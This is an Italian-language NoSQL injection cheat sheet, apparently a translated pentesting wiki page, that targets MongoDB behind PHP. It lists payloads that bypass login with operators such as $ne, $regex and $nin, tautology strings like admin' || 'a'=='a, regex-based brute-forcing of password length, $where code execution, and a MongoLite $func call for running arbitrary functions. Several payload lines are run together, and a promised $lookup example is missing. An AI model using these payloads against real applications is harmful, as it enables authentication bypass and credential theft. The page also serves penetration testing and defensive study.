Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
In PHP puoi inviare un Array cambiando il parametro inviato da parameter=foo a parameter[arrName]=foo.
Gli exploit si basano sull'aggiunta di un Operatore:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Un attaccante può sfruttare ciò inserendo stringhe come admin' || 'a'=='a, facendo sì che la query restituisca tutti i documenti soddisfacendo la condizione con una tautologia ('a'=='a'). Questo è analogo agli attacchi di SQL injection in cui vengono utilizzati input come ' or 1=1-- - per manipolare le query SQL. In MongoDB, possono essere eseguite iniezioni simili utilizzando input come ' || 1==1//, ' || 1==1%00, o admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Estrarre informazioni sulla lunghezza
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Utilizzando l'operatore $func della libreria MongoLite (utilizzato per impostazione predefinita) potrebbe essere possibile eseguire una funzione arbitraria come in questo report.
"user":{"$func":"var_dump"}
Ottenere informazioni da diverse collezioni
È possibile utilizzare $lookup per ottenere informazioni da una collezione diversa. Nell'esempio seguente, stiamo leggendo da una collezione diversa chiamata users e ottenendo i risultati di tutte le voci con una password corrispondente a un carattere jolly.
NOTA:$lookup e altre funzioni di aggregazione sono disponibili solo se la funzione aggregate() è stata utilizzata per eseguire la ricerca anziché le più comuni funzioni find() o findOne().
Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della community più avanzati al mondo.
Ottieni l'accesso oggi:
Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo.
Ottieni l'accesso oggi: